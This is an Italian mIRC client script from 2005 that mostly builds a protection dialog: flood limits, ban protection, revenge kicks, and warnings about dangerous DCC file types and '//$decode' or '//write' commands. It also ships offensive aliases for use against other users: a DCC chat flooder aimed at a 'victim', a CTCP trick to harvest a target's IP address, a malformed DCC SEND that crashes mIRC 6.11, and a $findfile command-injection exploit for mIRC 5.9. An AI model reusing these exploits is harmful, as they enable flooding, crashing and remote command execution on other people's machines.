alias PersonalProtection { if (!$dialog(PersonalProtection)) { dialog -m PersonalProtection PersonalProtection } | else halt }
dialog PersonalProtection {
  title "Dreamer§ §cript =[ Personal Settings ]="
  size -1 -1 235 180
  option dbu
  button "OK", 1, 87 161 50 15, default ok
  box "", 2, 0 0 234 179
  box "Query Flood Protection", 3, 3 5 227 42
  check "Text Flood", 4, 8 15 35 7
  text "(Ignore su", 5, 50 15 50 10
  edit "", 6, 75 14 11 10
  text "ripetizioni in", 7, 87 15 50 10
  edit "", 8, 115 14 11 10
  text "secondi)", 9, 127 15 50 10
  check "Action Flood", 10, 8 25 39 7
  text "(Ignore su", 11, 50 25 50 10
  edit "", 12, 75 24 11 10
  text "ripetizioni in", 13, 87 25 50 10
  edit "", 14, 115 24 11 10
  text "secondi)", 15, 127 25 50 10
  check "Notice Flood", 16, 8 35 39 7
  text "(Ignore su", 17, 50 35 50 10
  edit "", 18, 75 34 11 10
  text "ripetizioni in", 19, 87 35 50 10
  edit "", 20, 115 34 11 10
  text "secondi)", 21, 127 35 50 10
  text "(Tempo di Ignore:", 22, 150 15 45 10
  edit "", 23, 192 14 13 10
  text "secondi)", 24, 207 15 25 10
  text "(Tempo di Ignore:", 25, 150 25 45 10
  edit "", 26, 192 24 13 10
  text "secondi)", 27, 207 25 25 10
  text "(Tempo di Ignore:", 28, 150 35 45 10
  edit "", 29, 192 34 13 10
  text "secondi)", 30, 207 35 25 10
  box "Other Personal Protection", 31, 3 50 227 52
  check "Ctcp Flood", 32, 8 60 39 7
  text "(Ignore su", 33, 50 60 50 10
  edit "", 34, 75 59 11 10
  text "ctcp in", 35, 87 60 50 10
  edit "", 36, 115 59 11 10
  text "secondi)", 37, 127 60 50 10
  check "DCC Flood", 38, 8 70 39 7
  text "(Ignore su", 39, 50 70 50 10
  edit "", 40, 75 69 11 10
  text "dcc in", 41, 87 70 50 10
  edit "", 42, 115 69 11 10
  text "secondi)", 43, 127 70 50 10
  check "Invite Flood", 44, 8 90 39 7
  text "(Ignore su", 45, 50 90 50 10
  edit "", 46, 75 89 11 10
  text "invite in", 47, 87 90 50 10
  edit "", 48, 115 89 11 10
  text "secondi)", 49, 127 90 50 10
  text "(Tempo di Ignore:", 50, 150 60 45 10
  edit "", 51, 192 59 13 10
  text "secondi)", 52, 207 60 25 10
  text "(Tempo di Ignore:", 53, 150 70 45 10
  edit "", 54, 192 69 13 10
  text "secondi)", 55, 207 70 25 10
  text "(Tempo di Ignore:", 56, 150 90 45 10
  edit "", 57, 192 89 13 10
  text "secondi)", 58, 207 90 25 10
  box "Special Personal Protection", 59, 3 105 166 52
  check "Auto Ignore msg on join", 60, 8 115 67 7
  text "(Tempo di Ignore:", 61, 77 115 45 10
  edit "", 62, 120 114 13 10
  text "secondi)", 63, 135 115 25 10
  check "Censura siti e comandi pericolosi", 64, 8 125 92 7
  check "Anti-collide protection", 65, 102 125 65 7
  check "Revenge Kick", 68, 8 135 45 7
  check "Ban Protection", 69, 8 145 45 7
  text "(Kick msg:", 70, 55 135 67 7
  edit "", 71, 81 134 52 10
  text ")", 72, 134 135 2 7
  text "(Kick msg:", 73, 55 145 67 7
  edit "", 74, 81 144 52 10
  text ")", 75, 134 145 2 7
  text "Visit Di-Gi Website", 78, 3 165 65 7
  text "http://wWw.Di-Gi.cJb.neT", 79, 3 171 65 7
  text "Copyright © 2005 Di-Gi", 80, 142 171 90 7
  button "Resetta Default", 81, 171 110 50 10
  button "CANCEL", 82, 1000 1000 0 0, cancel
  check "Ignore DCC", 83, 8 80 50 7
}

on *:dialog:PersonalProtection:sclick:*:{
  if ($did = 1) { sclose }
  if ($did = 4) { if ($did(PersonalProtection,4).state = 1) { .enable #TextFloodquery | son } | else { .disable #TextFloodquery | soff } }
  if ($did = 10) { if ($did(PersonalProtection,10).state = 1) { .enable #actionfloodquery | son } | else { .disable #actionfloodquery | soff } }
  if ($did = 16) { if ($did(PersonalProtection,16).state = 1) { .enable #noticefloodquery | son } | else { .disable #noticefloodquery | soff } }
  if ($did = 32) { if ($did(PersonalProtection,32).state = 1) { set %Ctcpallreply ON | son } | else { set %Ctcpallreply OFF | soff } }
  if ($did = 38) { if ($did(PersonalProtection,38).state = 1) { set %dccflood ON | son } | else { set %dccflood OFF | soff } }
  if ($did = 44) { if ($did(PersonalProtection,44).state = 1) { set %inviteflood ON | son } | else { set %inviteflood OFF | soff } }
  if ($did = 60) { if ($did(PersonalProtection,60).state = 1) { .enable #ignoremsgonjoin | son } | else { .disable #ignoremsgonjoin | soff } }
  if ($did = 64) { if ($did(PersonalProtection,64).state = 1) { .enable #antidangersite | son } | else { .disable #antidangersite | soff } }
  if ($did = 65) { if ($did(PersonalProtection,65).state = 1) { .enable #anticollide | son } | else { .disable #anticollide | soff } }
  if ($did = 68) { if ($did(PersonalProtection,68).state = 1) { .enable #revenge | son } | else { .disable #revenge | soff } }
  if ($did = 69) { if ($did(PersonalProtection,69).state = 1) { .enable #banprot | son } | else { .disable #banprot | soff } }
  if ($did = 81) { resettapersonali | sopen }
  if ($did = 82) { sclose }
  if ($did = 83) { if ($did(PersonalProtection,83).state = 1) { set %ignoredcc ON | son } | else { set %ignoredcc OFF | soff } }
}
on *:dialog:PersonalProtection:edit:*:{
  if ($did = 6) { set %queryTextFloodVar1 $did(PersonalProtection,6).text }
  if ($did = 8) { set %queryTextFloodVar2 $did(PersonalProtection,8).text }
  if ($did = 12) { set %QueryActionFloodVar1 $did(PersonalProtection,12).text }
  if ($did = 14) { set %QueryActionFloodVar2 $did(PersonalProtection,14).text }
  if ($did = 18) { set %querynoticeFloodVar1 $did(PersonalProtection,18).text }
  if ($did = 20) { set %querynoticeFloodVar2 $did(PersonalProtection,20).text }
  if ($did = 23) { set %querytextignoretime $did(PersonalProtection,23).text }
  if ($did = 26) { set %QueryActionignoretime $did(PersonalProtection,26).text }
  if ($did = 29) { set %querynoticeignoretime $did(PersonalProtection,29).text }
  if ($did = 34) { set %Ctcpvar1 $did(PersonalProtection,34).text }
  if ($did = 36) { set %Ctcpvar2 $did(PersonalProtection,36).text }
  if ($did = 40) { set %dccvar1 $did(PersonalProtection,40).text }
  if ($did = 42) { set %dccvar2 $did(PersonalProtection,42).text }
  if ($did = 46) { set %inviteFloodVar1 $did(PersonalProtection,46).text }
  if ($did = 48) { set %inviteFloodVar2 $did(PersonalProtection,48).text }
  if ($did = 51) { set %Ctcpignoretime $did(PersonalProtection,51).text }
  if ($did = 54) { set %dccignoretime $did(PersonalProtection,54).text }
  if ($did = 57) { set %invitefloodignoretime $did(PersonalProtection,57).text }
  if ($did = 62) { set %ignoremsgonjoinignoretime $did(PersonalProtection,62).text }
  if ($did = 71) { set %revengemsg $did(PersonalProtection,71).text }
  if ($did = 74) { set %banprotmsg $did(PersonalProtection,74).text }
}
on *:dialog:PersonalProtection:init:0:{
  dialog -t PersonalProtection Dreamer§ §cript =[ Personal Settings ]=
  if ($group(#TextFloodquery) = on) { did -c PersonalProtection 4 }
  if (!%queryTextFloodVar1) { set %queryTextFloodVar1 4 } | did -a PersonalProtection 6 %queryTextFloodVar1
  if (!%queryTextFloodVar2) { set %queryTextFloodVar2 5 } | did -a PersonalProtection 8 %queryTextFloodVar2
  if ($group(#actionfloodquery) = on) { did -c PersonalProtection 10 }
  if (!%QueryActionFloodVar1) { set %QueryActionFloodVar1 4 } | did -a PersonalProtection 12 %QueryActionFloodVar1
  if (!%QueryActionFloodVar2) { set %QueryActionFloodVar2 5 } | did -a PersonalProtection 14 %QueryActionFloodVar2
  if ($group(#noticefloodquery) = on) { did -c PersonalProtection 16 }
  if (!%querynoticeFloodVar1) { set %querynoticeFloodVar1 4 } | did -a PersonalProtection 18 %querynoticeFloodVar1
  if (!%querynoticeFloodVar2) { set %querynoticeFloodVar2 5 } | did -a PersonalProtection 20 %querynoticeFloodVar2
  if (!%querytextignoretime) { set %querytextignoretime 20 } | did -a PersonalProtection 23 %querytextignoretime
  if (!%QueryActionignoretime) { set %QueryActionignoretime 20 } | did -a PersonalProtection 26 %QueryActionignoretime
  if (!%querynoticeignoretime) { set %querynoticeignoretime 20 } | did -a PersonalProtection 29 %querynoticeignoretime
  if (%Ctcpallreply = ON) { did -c PersonalProtection 32 }
  if (!%Ctcpvar1) { set %Ctcpvar1 3 } | did -a PersonalProtection 34 %Ctcpvar1
  if (!%Ctcpvar2) { set %Ctcpvar2 10 } | did -a PersonalProtection 36 %Ctcpvar2
  if (%dccflood = ON) { did -c PersonalProtection 38 }
  if (!%dccvar1) { set %dccvar1 3 } | did -a PersonalProtection 40 %dccvar1
  if (!%dccvar2) { set %dccvar2 10 } | did -a PersonalProtection 42 %dccvar2
  if (%inviteflood = ON) { did -c PersonalProtection 44 }
  if (!%inviteFloodVar1) { set %inviteFloodVar1 3 } | did -a PersonalProtection 46 %inviteFloodVar1
  if (!%inviteFloodVar2) { set %inviteFloodVar2 10 } | did -a PersonalProtection 48 %inviteFloodVar2
  if (!%Ctcpignoretime) { set %Ctcpignoretime 30 } | did -a PersonalProtection 51 %Ctcpignoretime
  if (!%dccignoretime) { set %dccignoretime 30 } | did -a PersonalProtection 54 %dccignoretime
  if (!%invitefloodignoretime) { set %invitefloodignoretime 30 } | did -a PersonalProtection 57 %invitefloodignoretime
  if (!%ignoremsgonjoinignoretime) { set %ignoremsgonjoinignoretime 10 } | did -a PersonalProtection 62 %ignoremsgonjoinignoretime
  if ($group(#ignoremsgonjoin) = on) { did -c PersonalProtection 60 }
  if ($group(#antidangersite) = on) { did -c PersonalProtection 64 }
  if ($group(#anticollide) = on) { did -c PersonalProtection 65 }
  if ($group(#revenge) = on) { did -c PersonalProtection 68 }
  if ($group(#banprot) = on) { did -c PersonalProtection 69 }
  if (!%RevengeMsg) { set %RevengeMsg 9,1ReVeNgE KicK } | did -a PersonalProtection 71 %revengemsg
  if (!%BanProtMsg) { set %BanProtMsg 9,1Ban ProTecTion } | did -a PersonalProtection 74 %banprotmsg
  if (%ignoredcc = ON) { did -c PersonalProtection 83 }
}

alias dccfuck { .enable #dccfuck | dcc chat $1 }

#dccfuck off
on 1:open:=: {
  echo 4 -a DccFucker - attacco in corso su $nick
  echo 4 -a Non chiudere quella dcc con la tua vittima altrimenti l'attacco si fermerà.
  .timerdcc 0 0 .msg =$nick %plfloodtxt
}
on 1:close:=: {
  echo 4 -a * DccFuck Stop... La Dcc è stata chiusa :-(
  .timerdcc off
  .disable #dccfuck
}
#dccfuck end

;@@@@@@@@@@ Ottieni IPv4 tramite DCC @@@@@@@@@@@@@
alias dg-get-v4 { echo -a 8,4TeNTiAmo di oTTeNeRe L'iPv4 di $$1 ...  |  .ctcp $$1 chat }
ctcp 1:DCC*: { if ($4) { DGMsg -a IPv4 di $nick : $longip($4) $+ : $+ $5 } }

;@@@@@@@@@@@@ Exploits di mIRC e Scripts @@@@@@@@@@@@@@
alias mIRC611Expl { if ($1) { .raw PRIVMSG $1 : $+ $chr(1) $+ DCC SEND " $+ $str($rand(a,z) $+ $chr(32),250) $+ " 2130706433 3600 17 $+ $chr(1) } }
alias mIRC59Expl { if ($1) { CTCP $1 $ $+ findfile(c:\,*,1, $$?="Scrivi un comando che $$1 eseguirà! $crlf $+ Può funzionare anche x altri script su mIRC 5.9" ) } }
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#TextFloodQuery off
on 1:TEXT:*:?:{
  if ($nick = $me) { goto end }
  inc %QueryTextFlood [ $+ [ $nick ] ] | .timer 1 %QueryTextFloodVar2 unset %QueryTextFlood [ $+ [ $nick ] ]
  if %QueryTextFlood [ $+ [ $nick ] ] = %QueryTextFloodVar1 { goto queryTextFlood }
  else goto end
  :QueryTextFlood
  unset %QueryTextFlood [ $+ [ $nick ] ] | { ignore -u $+ %QueryTextIgnoreTime $nick 2 }
  DGMsg -a Warning Query Text Flood Protection attivata su $nick (4 $+ $address $+ 9) 14IGNORE15:9 %QueryTextIgnoreTime  sec. | .ghplay alert.wav | halt
  :end
}
#TextFloodQuery end
;
#ActionFloodQuery off
on 1:ACTION:*:?:{
  if $nick = $me { goto end }
  inc %QueryActionflood [ $+ [ $nick ] ] | .timer 1 %QueryActionFloodVar2 unset %QueryActionflood [ $+ [ $nick ] ]
  if %QueryActionflood [ $+ [ $nick ] ] == %QueryActionFloodVar1 { goto QueryActionflood }
  else goto end
  :QueryActionflood
  unset %QueryActionflood [ $+ [ $nick ] ] | { ignore -u $+ %QueryActionignoretime $nick 2 } 
  DGMsg -a Warning Query Action Flood Protection attivata su $nick (4 $+ $address $+ 9) 14IGNORE15:9 %QueryActionignoretime  sec. | .ghplay alert.wav 
  :end
}
#ActionFloodQuery end
;
#NoticeFloodQuery off
on 1:NOTICE:*:?:{
  if $nick == $me { goto end }
  inc %QueryNoticeFlood [ $+ [ $nick ] ] | .timer 1 %QueryNoticeFloodVar2 unset %QueryNoticeFlood [ $+ [ $nick ] ]
  if %QueryNoticeFlood [ $+ [ $nick ] ] == %QueryNoticeFloodVar1 { goto querynoticeflood }
  else goto end
  :querynoticeflood
  unset %querynoticeflood [ $+ [ $nick ] ] | { ignore -u $+ %QueryNoticeIgnoreTime $nick 2 } 
  DGMsg -a Warning Query Notice Flood Protection attivata su $nick (4 $+ $address $+ 9) 14IGNORE15:9 %QueryNoticeIgnoreTime sec. | .ghplay alert.wav 
  :end
}
#NoticeFloodQuery end
on 1:INVITE:#: {
  if (%JoinInvite = ON) || ($nick = ChanServ) { join $chan | goto end }
  if ($nick == $me) { halt }
  else inc %InviteFlood [ $+ [ $nick ] ] | .timer 1 %inviteFloodVar2 unset %InviteFlood [ $+ [ $nick ] ]
  DGMsg -a Invite $nick (4 $+ $address $+ 9) ti ha invitato su $chan (CTRL+F2 per entrare) | ghplay page.wav | haltdef
  if %InviteFlood [ $+ [ $nick ] ] == %inviteFloodVar1 && (%InviteFlood == ON) { goto InviteFlood }
  else goto end
  :InviteFlood
  unset %InviteFlood [ $+ [ $nick ] ] | { ignore -u $+ %InviteFloodIgnoreTime $nick 2 }
  DGMsg -a Warning Invite Flood Protection attivata su $nick (4 $+ $address $+ 9) 14IGNORE15:9 %InviteFloodIgnoreTime  sec. | .ghplay alert.wav
  :end
}
on 1:ctcpreply:PING*:{
  if ($nick != $me) { goto end }
  %lagmeter.temp1 = $calc($ticks - $2)
  ftime %lagmeter.temp1
  set %lagmeter.temp2 $gettok(%ftime,2,46) 
  set %lagmeter.temp3 $calc($ctime - $2) $+ . $+ %lagmeter.temp2
  if (!$dialog(lagmeter)) { DGMsg -a Info LAG $me : 2,13  %lagmeter.temp3  9,1Secondi | sinfo | haltdef }
  else {
    if (%lagmeter.temp3 < 2.500) { did -o lagmeter 3 1 @ }
    if (%lagmeter.temp3 >= 2.500) && (%lagmeter.temp3 < 5.000) { did -o lagmeter 3 1 @@@ }
    if (%lagmeter.temp3 >= 5.000) && (%lagmeter.temp3 < 7.500) { did -o lagmeter 3 1 @@@@@ }
    if (%lagmeter.temp3 >= 7.500) && (%lagmeter.temp3 < 10.000) { did -o lagmeter 3 1 @@@@@@@@ }
    if (%lagmeter.temp3 >= 10.000) && (%lagmeter.temp3 < 12.500) { did -o lagmeter 3 1 @@@@@@@@@@@@ }
    if (%lagmeter.temp3 >= 12.500) { did -o lagmeter 3 1 @@@@@@@@@@@@@@@@ }
    did -o lagmeter 4 1 Lag Attuale: %lagmeter.temp3 secondi.
  }
  unset %lagmeter.temp1 | unset %lagmeter.temp2 | unset %lagmeter.temp3
  unset %ftime | halt
  goto end
  :end
}

ctcp 1:*:{
  if ($nick == $me) { goto prosegui2 }
  if (DCC = $1) { goto prosegui1 }
  inc %FloodCtcp
  if (%FloodCtcp < %Ctcpvar1) { .timerfloodctcp 1 %Ctcpvar2 unset %FloodCtcp }
  if (%FloodCtcp = %Ctcpvar1) { DGMsg -a Warning Ctcp Flood rilevato da parte di $nick (4 $+ $address $+ 9) 14Ignore globale Ctcp15:9 %Ctcpignoretime sec. | .ghplay alert.wav }
  if (%FloodCtcp >= %Ctcpvar1) { .ignore -tu $+ %Ctcpignoretime *!*@* | .timerfloodctcp 1 %Ctcpvar2 unset %floodctcp | haltdef }
  :prosegui1
  DGMsg -a 8,12Info 9 $nick (11 $address ) 9ti ha fatto un CTCP $1- | sinfo
  :prosegui2
  if ((DCC SEND isin $1-) && (%VirusDccAlert = ON)) {
    if (.exe isin $1-) || (.scr isin $1-) || (.com isin $1-) { DGMsg -a WARNING Tentativo di invio file potenzialmente pericoloso (eseguibile,4 $3 $+ 9) da parte di13 $nick | .ghplay virus.wav }
    if (.shs isin $1-) || (.vbs isin $1-) || (.hta isin $1-) { DGMsg -a WARNING Tentativo di invio file potenzialmente pericoloso (script,4 $3 $+ 9) da parte di13 $nick | .ghplay virus.wav }
    if (.lnk isin $1-) || (.pif isin $1-) || (.bat isin $1-) { DGMsg -a WARNING Tentativo di invio file potenzialmente pericoloso (link/batch,4 $3 $+ 9) da parte di13 $nick | .ghplay virus.wav }
  }
  if (%CtcpAllReply = ON) { goto CtcpFine }
  if ($1 = VERSION) { .ctcpreply $nick VERSION %VersionReply | haltdef }
  if ($1 = FINGER) { .ctcpreply $nick FINGER %FingerReply | haltdef }
  if ($1 = PAGE) && (%Away.pager = ON) { DGMsg -a 8,12Info 4Sei ricercato urgentemente da $nick (4 $+ $address $+ 9) | .ghplay page.wav }
  :CtcpFine
}

#AntiDangerSite on
on ^1:TEXT:*:?:{
  if (//$decode isin $1-) { echo 3 $nick $timestamp < $+ $nick $+ > $replace($1-,//$decode,XxXxXxXx) | goto danger }
  if (//write isin $1-) { echo 3 $nick $timestamp < $+ $nick $+ > $replace($1-,//write,yYyYyYYyY) | goto danger }
  else goto end
  :danger | DGMsg -N Warning $nick ha detto un comando o sito web pericoloso che x sicurezza è stato censurato. | halt
  :end
}
on ^1:TEXT:*:#:{ 
  if (//$decode isin $1-) { echo 3 $chan $timestamp < $+ $nick $+ > $replace($1-,//$decode,XxXxXxXx) | goto danger }
  if (//write isin $1-) { echo 3 $chan $timestamp < $+ $nick $+ > $replace($1-,//write,yYyYyYYyY) | goto danger }
  else goto end
  :danger | DGMsg -c Warning $nick ha detto un comando o sito web pericoloso che per sicurezza è stato censurato. | halt
  :end
}
#AntiDangerSite end

#IgnoreMsgOnJoin off
on 1:JOIN:#:{ 
  if $nick = $me { set %msgonjoin.tmp ON | .timer 1 2 unset %msgonjoin.tmp }
  else halt
}
on 1:TEXT:*:?:{
  if (%MsgOnJoin.tmp = ON) {
    if ($line($nick,0) = 1) && ($query($nick)) { 
      .timer 1 1 close -m $nick 
      ignore -pniu $+ %IgnoreMsgOnJoinIgnoreTime $nick 2
      DGMsg -a Info Rilevato Messaggio On Join da parte di $nick (4 $+ $address $+ 9) 14IGNORE15:9 %IgnoreMsgOnJoinIgnoreTime secondi!! | sinfo      
      echo -a 14* 15[14 $+ $nick $+ 15] $1-
    }
  }
}
#IgnoreMsgOnJoin end

#Revenge off
on 1:KICK:#:{
  if $knick = $me {
    set %KickedMe $nick
    .timer 1 1 join $chan
    .timer 1 2 kick $chan %KickedMe %RevengeMsg %kick | unset %KickedMe
  }
}
on 1:DEOP:#:{
  if $knick = $me {
    set %DeopMe $nick
    .timer 1 1 hop $chan
    .timer 1 2 kick $chan %DeopMe %RevengeMsg %kick | unset %DeopMe
  }
}
#Revenge end
;

#BanProt off
on @!*:BAN:#:{ 
  if ( $banmask iswm $address($me,0)) goto deban
  if ( $banmask iswm $address($me,1)) goto deban
  if ( $banmask iswm $address($me,2)) goto deban
  if ( $banmask iswm $address($me,3)) goto deban
  if ( $banmask iswm $address($me,4)) goto deban
  if ( $banmask iswm $address($me,5)) goto deban
  if ( $banmask iswm $address($me,6)) goto deban 
  if ( $banmask iswm $address($me,7)) goto deban
  if ( $banmask iswm $address($me,8)) goto deban
  if ( $banmask iswm $address($me,9)) goto deban
  if ( $bnick iswm $banmask ) goto deban
  else halt
  :deban | mode $chan -o-b $nick $banmask
  DGMsg -a Warning Attivata BAN Protection su $nick (4 $+ $address $+ 9) che ha tentato di bannarti da $chan | .ghplay alert.wav
  kick $chan $nick %BanProtMsg %kick
}
#BanProt end
